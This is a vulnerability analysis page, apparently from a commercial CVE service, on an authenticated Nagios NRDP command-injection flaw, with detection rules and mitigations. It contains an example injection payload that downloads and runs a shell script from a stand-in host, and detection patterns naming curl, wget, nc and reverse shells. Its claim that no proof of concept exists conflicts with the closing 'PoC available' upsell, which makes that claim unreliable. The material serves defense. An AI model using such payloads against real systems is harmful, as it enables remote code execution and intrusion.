CVE-2026-48553
Executive Summary
CVE-2026-48553 is an authenticated remote code execution (RCE) vulnerability affecting Nagios Core versions before 4.5.13 and Nagios XI before 2026R1.5. The flaw resides in the Nagios Remote Data Processor (NRDP), where custom-variable macro injection in shell-executed command lines permits an authenticated attacker to inject operating system commands. With a CVSS base score of 7.5 (High), successful exploitation yields full confidentiality, integrity, and availability impact, though it requires a non-default configuration and knowledge of valid NRDP credentials. No public proof-of-concept, patch, or CISA KEV inclusion has been identified at the time of analysis.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Technical Analysis
The vulnerability is classified under CWE-78 (Improper Neutralization of Special Elements used in an OS Command - 'OS Command Injection'). The attack mechanism hinges on how Nagios Core and Nagios XI process custom variables defined on hosts, services, or contacts.
Vulnerability Mechanism:
Nagios monitoring systems allow administrators to define custom variables (macros) on monitored objects. These variables use the pattern $_HOST<VARNAME>$, $_SERVICE<VARNAME>$, or $_CONTACT<VARNAME>$ and can hold arbitrary string values. When such a macro is referenced within a shell-executed command line — for instance, in a service check command, event handler, or notification script — Nagios expands the macro value into the command line before passing it to the shell (/bin/sh -c by default).
The flaw arises because the macro value is not sanitized or safely quoted prior to shell expansion. An authenticated attacker who can control the content of a custom variable via NRDP submissions can embed shell metacharacters (e.g., ;, |, &&, backticks, $()) within the value. When the custom variable is subsequently expanded into a shell-executed command, the injected metacharacters terminate the intended command and execute attacker-supplied OS commands with the privileges of the Nagios daemon.
Attack Surface:
- NRDP (Nagios Remote Data Processor): This component accepts check results and passive check submissions from remote agents over HTTP/HTTPS. NRDP supports token-based authentication.
- Custom Variables: The ability to define or modify custom variables through NRDP is the prerequisite. The NVD description specifies that exploitation requires a non-default configuration where a custom variable is both defined and referenced in a shell-executed command.
- Preconditions: (a) an authenticated NRDP account or valid token, (b) the ability to submit or manipulate custom variable definitions, and (c) a monitoring configuration where the attacker-controlled custom variable is expanded inside a shell-executed command line.
Technical Detail Limitations: The NVD description does not specify the exact NRDP API endpoint, parameter names, or HTTP request structure required to inject the custom variable. Sufficient technical detail is unavailable to name specific functions, libraries, or code paths within the Nagios source tree. The vulnerability class is OS command injection via unsanitized macro expansion.
Exploitation Scenarios
No public PoC exists; the attack chain is inferred from the vulnerability class and NVD description.
Step 1: Reconnaissance / Target Identification
An attacker identifies a Nagios Core (< 4.5.13) or Nagios XI (< 2026R1.5) instance exposed to the internet or reachable from a compromised network segment. Fingerprinting can be performed via:
- HTTP response headers indicating Nagios/NRDP presence.
- Browsing
/nrdp/or similar default NRDP web paths (specific path names not confirmed in available data — treat as illustrative). - Nmap or Shodan searches for Nagios-related banners.
Step 2: Triggering the Flaw
The attacker authenticates to the NRDP interface using compromised, default, or brute-forced credentials/tokens. The attacker then submits a passive check result that includes or modifies a custom variable associated with a host, service, or contact. The custom variable value contains a payload such as:
$(id) ; curl evil.example.com/shell.sh | sh
The exact submission format (HTTP POST body, XML/JSON structure, field names) is not specified in the available data and cannot be inferred with confidence.
Step 3: Payload / Execution Method
The malicious custom variable value is stored by Nagios. When a scheduled check, event handler, or notification references this custom variable within a shell-executed command line, Nagios performs macro expansion and passes the resulting string to the operating system shell. The $(...) or ; metacharacters terminate the intended command and execute the attacker's OS command with the privileges of the Nagios process (typically the nagios user, but potentially root in misconfigured deployments).
Step 4: Post-Exploitation Impact
Upon command execution, the attacker can:
- Read configuration files containing credentials (e.g.,
cgi.cfg,authinfo), database credentials for Nagios XI. - Install persistent backdoors or web shells within the Nagios web root.
- Pivot to backend databases (MySQL/PostgreSQL) storing monitoring data.
- Use the Nagios server as a launching pad for lateral movement into the monitored network, as Nagios typically maintains reachability to all monitored hosts.
Impact Assessment
CVSS Analysis (7.5, High):
- Attack Vector (AV:N): Exploitation is network-based; no physical or adjacent access required.
- Attack Complexity (AC:H): The non-default configuration requirement (custom variables referenced in shell commands) and need for valid NRDP credentials raise the complexity.
- Privileges Required (PR:L): The attacker must be authenticated, but only with low-privileged NRDP access — not administrative access to the Nagios server operating system.
- User Interaction (UI:N): No victim interaction required.
- Scope (S:U): Impact is confined to a single security authority; host and network components are not co-compromised.
- CIA Impact (H/H/H): Complete compromise of the Nagios host — full file read/write, process execution, and service disruption.
Business Impact:
- Monitoring Disruption: An attacker can stop, fake, or manipulate monitoring data, blinding security and operations teams to outages or breaches across the monitored infrastructure.
- Credential Theft: Exposure of credentials for monitored systems (SNMP community strings, API keys, database logins) stored in Nagios configuration.
- Lateral Movement: The Nagios server is a high-value pivot node because it maintains administrative or read-only access to most managed devices.
- Availability: Attackers can wipe configuration or kill monitoring processes, causing cascading operational failures.
Affected Systems: Nagios Core < 4.5.13, Nagios XI < 2026R1.5. Only deployments using custom variables in shell-executed command lines are vulnerable — default configurations with built-in commands may not expose the flaw.
Detection Guidance
Sigma Rule
title: Nagios NRDP Custom Variable OS Command Injection Attempt
id: 2f9b7c3a-4d5e-4f6a-9b0c-1d2e3f4a5b6c
status: experimental
description: Detects NRDP submissions containing shell metacharacters in custom variable values, indicating potential CVE-2026-48553 exploitation
logsource:
category: webserver
product: apache
service: access
detection:
selection_nrdp_path:
cs-uri-path|contains: '/nrdp'
selection_input_data:
cs-uri-query|contains:
- '$_HOST'
- '$_SERVICE'
- '$_CONTACT'
selection_shell_chars:
cs-uri-query|contains:
- '%3B' # ; encoded
- '%7C' # | encoded
- '%26%26' # && encoded
- '%24%28' # $( encoded
- '`'
condition: selection_nrdp_path and selection_input_data and selection_shell_chars
falsepositives:
- Legitimate administrative updates to custom variables that include shell metacharacters (rare)
level: high
tags:
- attack.t1203
- cve.2026.48553
YARA Rule
rule Nagios_NRDP_CustomVar_Command_Injection {
meta:
author = "ValtersIT Threat Intelligence"
description = "Detects NRDP payloads attempting OS command injection via custom variable macros"
cve = "CVE-2026-48553"
date = "2026-03-01"
severity = "high"
strings:
$nrdp_endpoint = "nrdp" ascii nocase
$host_macro = "$_HOST" ascii nocase
$service_macro = "$_SERVICE" ascii nocase
$contact_macro = "$_CONTACT" ascii nocase
$shell_semicolon = ";" ascii
$shell_pipe = "|" ascii
$shell_andand = "&&" ascii
$shell_cmd_sub = "$(" ascii
$shell_backtick = "`" ascii
$bash_reverse = "/bin/sh" ascii nocase
$curl_wget = "curl" ascii nocase
$wget_ref = "wget" ascii nocase
$nc_ref = "nc -" ascii nocase
condition:
any of ($nrdp_endpoint) and
(
any of ($host_macro, $service_macro, $contact_macro)
) and
(
2 of ($shell_semicolon, $shell_pipe, $shell_andand, $shell_cmd_sub, $shell_backtick) or
any of ($bash_reverse, $curl_wget, $wget_ref, $nc_ref)
)
}
Suricata IDS Rule
alert http any any -> $NAGIOS_SERVERS any (msg:"ET EXPLOIT Nagios NRDP Custom Variable Command Injection Attempt (CVE-2026-48553)"; flow:established,to_server; http.uri; content:"nrdp"; nocase; http.client_body; content:"$_HOST"; nocase; content:"$_SERVICE"; nocase; content:"$_CONTACT"; pcre:"/(;|\||&&|\$\(|`)/Ui"; classtype:attempted-admin; reference:cve,2026-48553; sid:202648553; rev:1;)
Note: This rule requires the NRDP submission to be in HTTP POST body. Adjust $NAGIOS_SERVERS variable to your Nagios host IPs. For HTTP/2 or encrypted (HTTPS) NRDP, consider using an SSL/TLS inspection proxy or apply the rule on the unencrypted internal network segment between NRDP agents and the Nagios server.
Elastic Detection
sequence by host.name with maxspan=1m
[network where process.name == "httpd" and destination.port == 80 and
url.path contains "nrdp" and
url.query contains ("$_HOST", "$_SERVICE", "$_CONTACT")]
[file where process.name == "sh" and file.path == "/bin/sh" and
event.action == "executed" and
wildcard(file.name, "*;*", "*|*", "*&&*", "*$(*", "*`*")]
Alternative — focused on command execution after NRDP submission:
process where event.action == "exec" and
process.name == "sh" and process.parent.name in ("nagios", "nagios_cmd", "php-fpm") and
process.command_line regex """[;|&$`].*(curl|wget|nc|bash|sh|id|whoami)"""
Splunk SPL Query
index=web sourcetype=access_combined uri_path="/nrdp*"
| rex field=uri_query "(?<macro_type>\$_HOST|\$_SERVICE|\$_CONTACT)"
| rex field=uri_query "(?<payload>[;|&$`].{0,256})"
| where isnotnull(macro_type) AND isnotnull(payload)
| stats count by src_ip, uri_path, payload, macro_type
| `ut_shannon(src_ip)`
| table _time, src_ip, src_port, uri_path, macro_type, payload, count
| sort - count
For Sysmon/process execution data:
index=sysmon EventCode=1
| where ParentImage IN ("*\\nagios*", "*\\php-cgi*") AND CommandLine LIKE "%/bin/sh%"
| regex CommandLine="[;|&$`]"
| table _time, Computer, User, ParentImage, Image, CommandLine
| sort -_time
Wazuh OSSEC Rule
<group name="nagios,">
<rule id="100531" level="10">
<decoded_as>json</decoded_as>
<field name="url" type="pcre2">(?i)nrdp</field>
<field name="data" type="pcre2">\$_HOST|\$_SERVICE|\$_CONTACT</field>
<field name="data" type="pcre2">[;|&$`]</field>
<description>Nagios NRDP custom variable contains shell metacharacters - possible OS command injection (CVE-2026-48553)</description>
<mitre>
<id>T1203</id>
</mitre>
<group>nagios_rce,cve_2026_48553,</group>
</rule>
<rule id="100532" level="12">
<if_sid>100531</if_sid>
<field name="data" type="pcre2">curl|wget|nc|bash|sh -i|powershell|cmd\.exe</field>
<description>NRDP command injection with suspicious download/execution payload detected (CVE-2026-48553)</description>
<group>nagios_rce,cve_2026_48553,exfiltration,</group>
</rule>
</group>
Mitigation & Patch Guidance
Patch Status: 0/4 — UNPATCHED. No patch evidence from any tracked source. Nagios Core 4.5.13 and Nagios XI 2026R1.5 are referenced as the fixed versions in the NVD description; however, no vendor advisory or official patch download has been verified at the time of writing.
Immediate Mitigations (defense in depth):
- Restrict NRDP access: Place NRDP behind a firewall or VPN. Do not expose it directly to the internet. Restrict source IPs to known monitoring agents only.
- Audit custom variable usage: Identify all host, service, and contact custom variables referenced in shell-executed commands. Review their values for unexpected content.
- Harden shell execution: Where possible, replace shell-executed command lines with Nagios' shell-escape mechanisms (e.g., using the
$USER1$macro safely, adding quotes around macro expansions). Useuse_shell=0in command definitions if shell features are not required. - Credential hygiene: Rotate all NRDP tokens and passwords immediately. Enforce strong, unique credentials and enable multi-factor authentication if the NRDP interface supports it.
- Network segmentation: Isolate the Nagios server from broader network access. Limit egress to only what is required for monitoring (SNMP, ping, SSH, etc.) to reduce post-exploitation impact.
- Monitor for exploitation: Deploy the detection rules above. Alert on any NRDP submissions containing shell metacharacters.
Patch / Upgrade Steps:
- Watch the official Nagios release channels (nagios.org, Nagios XI announcement mailing list) for Core 4.5.13 and XI 2026R1.5.
- Before patching, backup all configuration,
/usr/local/nagios/etc/(Core) or the XI configuration database. - Apply the upgrade in a staging environment first, validating that custom variable macros behave correctly and no legitimate monitoring breaks.
- Follow vendor-specific upgrade procedures — for Core: overwrite binaries and verify checksums; for XI: use the upgrade script and verify DB migrations.
- After upgrade, re-audit custom variable references in shell-executed commands to confirm they are still valid.
Long-Term Hardening:
- Avoid referencing untrusted custom variables directly in shell-executed commands. Use a wrapper script that safely quotes or validates values.
- Implement the principle of least privilege: run Nagios processes as an unprivileged user (
nagios), not as root, and remove sudo entries that allow Nagios to execute commands as root. - Deploy runtime application self-protection (RASP) or host intrusion prevention (HIPS) on the Nagios server.
- Subscribe to Nagios security advisories and apply patches within a defined SLA.
- Consider migrating to Nagios' alternate notification/check methods that avoid shell expansion where feasible.
References
- NVD Entry for CVE-2026-48553 — https://nvd.nist.gov/vuln/detail/CVE-2026-48553 (CVE details, CVSS vector, NVD description; do not rely on this link for patch status as of 2026-03-01)
- Nagios Core Official Site / Changelog — https://www.nagios.org/projects/nagios-core/ (check for version 4.5.13 release notes)
- Nagios XI — https://www.nagios.com/products/nagios-xi/ (check for XI 2026R1.5 release notes)
- CWE-78: OS Command Injection — https://cwe.mitre.org/data/definitions/78.html (vulnerability class reference)
- MITRE ATT&CK — T1203: Exploitation for Client Execution / T1059: Command and Scripting Interpreter — https://attack.mitre.org/ (relevant technique mapping)
Threat Actor Activity: No known threat actor campaigns, exploit-in-the-wild evidence, or public proof-of-concept have been reported for CVE-2026-48553. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Given the unpatched status and the widespread use of Nagios in enterprise monitoring environments, there is a moderate-to-high probability of weaponization once a PoC becomes available — monitoring teams should treat this as an urgent defensive priority rather than waiting for public exploit demonstrations.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.